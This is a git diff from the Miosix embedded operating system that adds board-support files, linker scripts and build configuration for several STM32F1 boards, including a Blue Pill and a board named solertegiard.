a/miosix/arch/board/stm32f100rb_stm32vldiscovery/unikernel.ld b/miosix/arch/board/stm32f100rb_stm32vldiscovery/unikernel.ld new file mode 100644 index 000000000..0476b3ed4 --- /dev/null +++ b/miosix/arch/board/stm32f100rb_stm32vldiscovery/unikernel.ld @@ -0,0 +1,13 @@ +/* + * Linker script for stm32f100 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 128K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 8K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f100rc_solertegiard/CMakeLists.txt b/miosix/arch/board/stm32f100rc_solertegiard/CMakeLists.txt new file mode 100644 index 000000000..8c03303ad --- /dev/null +++ b/miosix/arch/board/stm32f100rc_solertegiard/CMakeLists.txt @@ -0,0 +1,33 @@ +## +## CMakeLists.txt for board stm32f100rc_solertegiard +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f1) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32_servo.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_SOLERTEGIARD) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_SOLERTEGIARD) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +set(PROGRAM_CMDLINE stm32flash -w -v /dev/ttyUSB0) diff --git a/miosix/arch/board/stm32f100rc_solertegiard/Makefile.inc b/miosix/arch/board/stm32f100rc_solertegiard/Makefile.inc new file mode 100644 index 000000000..82ba325de --- /dev/null +++ b/miosix/arch/board/stm32f100rc_solertegiard/Makefile.inc @@ -0,0 +1,29 @@ +## +## Makefile for board stm32f100rc_solertegiard +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with header files for this board +CHIP_INC := arch/chip/stm32f1 + +## Select linker script +LINKER_SCRIPT := unikernel.ld + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp \ +arch/drivers/stm32_servo.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_SOLERTEGIARD +BOARD_CXXFLAGS := -D_BOARD_SOLERTEGIARD + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 diff --git a/miosix/arch/board/stm32f100rc_solertegiard/boot.cpp b/miosix/arch/board/stm32f100rc_solertegiard/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f100rc_solertegiard/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f100rc_solertegiard/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f100rc_solertegiard/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..411bac0b9 --- /dev/null +++ b/miosix/arch/board/stm32f100rc_solertegiard/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,19 @@ +#pragma once + +//Always include stm32f10x.h before core_cm3.h, there's some nasty dependency +#define STM32F100xB +#include "CMSIS/Device/ST/STM32F1xx/Include/stm32f1xx.h" +#include "CMSIS/Include/core_cm3.h" +#include "CMSIS/Device/ST/STM32F1xx/Include/system_stm32f1xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 55, so there are 56 +#define MIOSIX_NUM_PERIPHERAL_IRQ 56 diff --git a/miosix/arch/board/stm32f100rc_solertegiard/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f100rc_solertegiard/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..cf87bcae0 --- /dev/null +++ b/miosix/arch/board/stm32f100rc_solertegiard/interfaces-impl/bsp.cpp @@ -0,0 +1,141 @@ +/*************************************************************************** + * Copyright (C) 2016 by Silvano Seva * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/dcc.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios + RCC->APB2ENR |= RCC_APB2ENR_IOPAEN | RCC_APB2ENR_IOPBEN | + RCC_APB2ENR_IOPCEN | RCC_APB2ENR_IOPDEN | + RCC_APB2ENR_AFIOEN; + RCC_SYNC(); +// _led::mode(Mode::OUTPUT_2MHz); +// ledOn(); + delayMs(100); +// ledOff(); + IRQsetDefaultConsole(intrusive_ref_ptr( + #ifndef STDOUT_REDIRECTED_TO_DCC + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma) + #else //STDOUT_REDIRECTED_TO_DCC + new ARMDCC + #endif //STDOUT_REDIRECTED_TO_DCC + )); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(intrusive_ref_ptr()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +/** +This function disables filesystem (if enabled), serial port (if enabled) and +puts the processor in deep sleep mode.
+Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. +
This function does not return.
+WARNING: close all files before using this function, since it unmounts the +filesystem.
+When in shutdown mode, power consumption of the miosix board is reduced to ~ +5uA??, however, true power consumption depends on what is connected to the GPIO +pins. The user is responsible to put the devices connected to the GPIO pin in the +minimal power consumption mode before calling shutdown(). Please note that to +minimize power consumption all unused GPIO must not be left floating. +*/ +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + + /* + Removed because low power mode causes issues with SWD programming + RCC->APB1ENR |= RCC_APB1ENR_PWREN; //Fuckin' clock gating... + RCC_SYNC(); + PWR->CR |= PWR_CR_PDDS; //Select standby mode + PWR->CR |= PWR_CR_CWUF; + PWR->CSR |= PWR_CSR_EWUP; //Enable PA.0 as wakeup source + + SCB->SCR |= SCB_SCR_SLEEPDEEP; + __WFE(); + NVIC_SystemReset(); + */ + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f100rc_solertegiard/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f100rc_solertegiard/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..c93fc38e3 --- /dev/null +++ b/miosix/arch/board/stm32f100rc_solertegiard/interfaces-impl/bsp_impl.h @@ -0,0 +1,75 @@ +/*************************************************************************** + * Copyright (C) 2016 by Silvano Seva * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +//TODO: add led pin +// typedef Gpio _led; + +inline void ledOn() +{ +// _led::high(); +} + +inline void ledOff() +{ +// _led::low(); +} + +/** + * Polls the SD card sense GPIO + * \return true if there is an uSD card in the socket. + */ +//inline bool sdCardSense() { return true; } + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/board/stm32f100rc_solertegiard/interfaces-impl/hwmapping.h b/miosix/arch/board/stm32f100rc_solertegiard/interfaces-impl/hwmapping.h new file mode 100644 index 000000000..ab11176e6 --- /dev/null +++ b/miosix/arch/board/stm32f100rc_solertegiard/interfaces-impl/hwmapping.h @@ -0,0 +1,109 @@ +/*************************************************************************** + * Copyright (C) 2016 by Silvano Seva * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#ifndef HWMAPPING_H +#define HWMAPPING_H + +#include "interfaces/gpio.h" + +namespace miosix { + +namespace gpio { + + typedef Gpio gpio0; + typedef Gpio gpio1; + typedef Gpio gpio2; + typedef Gpio gpio3; + + typedef Gpio ai0; + typedef Gpio ai1; + typedef Gpio ai2; + typedef Gpio ai3; + typedef Gpio ai4; + typedef Gpio ai5; + typedef Gpio ai6; + typedef Gpio ai7; +} + +namespace display { + + typedef Gpio lcd_e; + typedef Gpio lcd_rs; + typedef Gpio lcd_d4; + typedef Gpio lcd_d5; + typedef Gpio lcd_d6; + typedef Gpio lcd_d7; +} + +namespace buttons { + + typedef Gpio btn1; + typedef Gpio btn2; + typedef Gpio btn3; + typedef Gpio btn4; + typedef Gpio btn5; + typedef Gpio btn6; + typedef Gpio btn7; +} + +namespace spi { + + typedef Gpio sck; + typedef Gpio miso; + typedef Gpio mosi; +} + +namespace i2c { + //Is I2C2 + typedef Gpio scl; + typedef Gpio sda; +} + +namespace valves { + + typedef Gpio valv1; + typedef Gpio valv2; + typedef Gpio valv3; + typedef Gpio valv4; + typedef Gpio valv5; + typedef Gpio valv6; + typedef Gpio valv7; + typedef Gpio valv8; +} + +// typedef Gpio +typedef Gpio tx; +typedef Gpio rx; +// typedef Gpio +// typedef Gpio +// typedef Gpio +// typedef Gpio +typedef Gpio powerSw; + +} //namespace miosix + +#endif //HWMAPPING_H diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100rc_solertegiard/stm32vldiscovery.cfg b/miosix/arch/board/stm32f100rc_solertegiard/openocd.cfg similarity index 100% rename from miosix/arch/cortexM3_stm32f1/stm32f100rc_solertegiard/stm32vldiscovery.cfg rename to miosix/arch/board/stm32f100rc_solertegiard/openocd.cfg diff --git a/miosix/arch/board/stm32f100rc_solertegiard/unikernel.ld b/miosix/arch/board/stm32f100rc_solertegiard/unikernel.ld new file mode 100644 index 000000000..114a76898 --- /dev/null +++ b/miosix/arch/board/stm32f100rc_solertegiard/unikernel.ld @@ -0,0 +1,13 @@ +/* + * Linker script for stm32f100 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 256K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 24K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f100xb_generic/CMakeLists.txt b/miosix/arch/board/stm32f100xb_generic/CMakeLists.txt new file mode 100644 index 000000000..34d29e598 --- /dev/null +++ b/miosix/arch/board/stm32f100xb_generic/CMakeLists.txt @@ -0,0 +1,35 @@ +## +## CMakeLists.txt for board stm32f100xb_generic +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f1) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + # Select linker script: stm32f100c8 has 64K, stm32f100cb has 128K + unikernel-64k+8k.ld + unikernel-128k+8k.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel-128k+8k.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32_rtc.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32F100XB_GENERIC) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32F100XB_GENERIC) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +set(PROGRAM_CMDLINE stm32flash -w -v /dev/ttyUSB0) diff --git a/miosix/arch/board/stm32f100xb_generic/Makefile.inc b/miosix/arch/board/stm32f100xb_generic/Makefile.inc new file mode 100644 index 000000000..74b570d7d --- /dev/null +++ b/miosix/arch/board/stm32f100xb_generic/Makefile.inc @@ -0,0 +1,26 @@ +## +## Makefile for board stm32f100xb_generic +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with header files for this board +CHIP_INC := arch/chip/stm32f1 + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp \ +arch/drivers/stm32_rtc.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32F100XB_GENERIC +BOARD_CXXFLAGS := -D_BOARD_STM32F100XB_GENERIC + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 diff --git a/miosix/arch/board/stm32f100xb_generic/boot.cpp b/miosix/arch/board/stm32f100xb_generic/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f100xb_generic/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f100xb_generic/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f100xb_generic/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..411bac0b9 --- /dev/null +++ b/miosix/arch/board/stm32f100xb_generic/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,19 @@ +#pragma once + +//Always include stm32f10x.h before core_cm3.h, there's some nasty dependency +#define STM32F100xB +#include "CMSIS/Device/ST/STM32F1xx/Include/stm32f1xx.h" +#include "CMSIS/Include/core_cm3.h" +#include "CMSIS/Device/ST/STM32F1xx/Include/system_stm32f1xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 55, so there are 56 +#define MIOSIX_NUM_PERIPHERAL_IRQ 56 diff --git a/miosix/arch/board/stm32f100xb_generic/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f100xb_generic/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..2e9348bc9 --- /dev/null +++ b/miosix/arch/board/stm32f100xb_generic/interfaces-impl/bsp.cpp @@ -0,0 +1,97 @@ +/*************************************************************************** + * Copyright (C) 2019 by Silvano Seva * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** + * bsp.cpp Part of the Miosix Embedded OS. + * Board support package, this file initializes hardware. + ************************************************************************/ + +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/stm32_rtc.h" +#include "board_settings.h" + +using namespace std; + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios + RCC->APB2ENR |= RCC_APB2ENR_IOPAEN | RCC_APB2ENR_IOPBEN | + RCC_APB2ENR_IOPCEN | RCC_APB2ENR_IOPDEN | + RCC_APB2ENR_AFIOEN; + RCC->APB1ENR |= RCC_APB1ENR_PWREN; + RCC_SYNC(); + + IRQsetDefaultConsole(intrusive_ref_ptr( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma))); +} + +void bspInit2() +{ + //Nothing to do +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + reboot(); //This board needs no shutdown support, so we reboot on shutdown +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100cx_generic/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f100xb_generic/interfaces-impl/bsp_impl.h similarity index 100% rename from miosix/arch/cortexM3_stm32f1/stm32f100cx_generic/interfaces-impl/bsp_impl.h rename to miosix/arch/board/stm32f100xb_generic/interfaces-impl/bsp_impl.h diff --git a/miosix/arch/board/stm32f100xb_generic/unikernel-128k+8k.ld b/miosix/arch/board/stm32f100xb_generic/unikernel-128k+8k.ld new file mode 100644 index 000000000..0476b3ed4 --- /dev/null +++ b/miosix/arch/board/stm32f100xb_generic/unikernel-128k+8k.ld @@ -0,0 +1,13 @@ +/* + * Linker script for stm32f100 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 128K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 8K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f100xb_generic/unikernel-64k+8k.ld b/miosix/arch/board/stm32f100xb_generic/unikernel-64k+8k.ld new file mode 100644 index 000000000..5463801eb --- /dev/null +++ b/miosix/arch/board/stm32f100xb_generic/unikernel-64k+8k.ld @@ -0,0 +1,13 @@ +/* + * Linker script for stm32f100 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 64K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 8K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f103c8_bluepill/CMakeLists.txt b/miosix/arch/board/stm32f103c8_bluepill/CMakeLists.txt new file mode 100644 index 000000000..f463f800a --- /dev/null +++ b/miosix/arch/board/stm32f103c8_bluepill/CMakeLists.txt @@ -0,0 +1,33 @@ +## +## CMakeLists.txt for board stm32f103c8_bluepill +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f1) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32_servo.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32F103C8_BLUEPILL) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32F103C8_BLUEPILL) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +set(PROGRAM_CMDLINE stm32flash -w -v /dev/ttyUSB0) diff --git a/miosix/arch/board/stm32f103c8_bluepill/Makefile.inc b/miosix/arch/board/stm32f103c8_bluepill/Makefile.inc new file mode 100644 index 000000000..997a6d2bd --- /dev/null +++ b/miosix/arch/board/stm32f103c8_bluepill/Makefile.inc @@ -0,0 +1,29 @@ +## +## Makefile for board stm32f103c8_bluepill +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with header files for this board +CHIP_INC := arch/chip/stm32f1 + +## Select linker script +LINKER_SCRIPT := unikernel.ld + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp \ +arch/drivers/stm32_servo.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32F103C8_BLUEPILL +BOARD_CXXFLAGS := -D_BOARD_STM32F103C8_BLUEPILL + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 diff --git a/miosix/arch/board/stm32f103c8_bluepill/boot.cpp b/miosix/arch/board/stm32f103c8_bluepill/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f103c8_bluepill/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f103c8_bluepill/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f103c8_bluepill/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..45dba7079 --- /dev/null +++ b/miosix/arch/board/stm32f103c8_bluepill/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,19 @@ +#pragma once + +//Always include stm32f10x.h before core_cm3.h, there's some nasty dependency +#define STM32F103xB +#include "CMSIS/Device/ST/STM32F1xx/Include/stm32f1xx.h" +#include "CMSIS/Include/core_cm3.h" +#include "CMSIS/Device/ST/STM32F1xx/Include/system_stm32f1xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 42, so there are 43 +#define MIOSIX_NUM_PERIPHERAL_IRQ 43 diff --git a/miosix/arch/board/stm32f103c8_bluepill/interfaces-impl/bsp.cpp 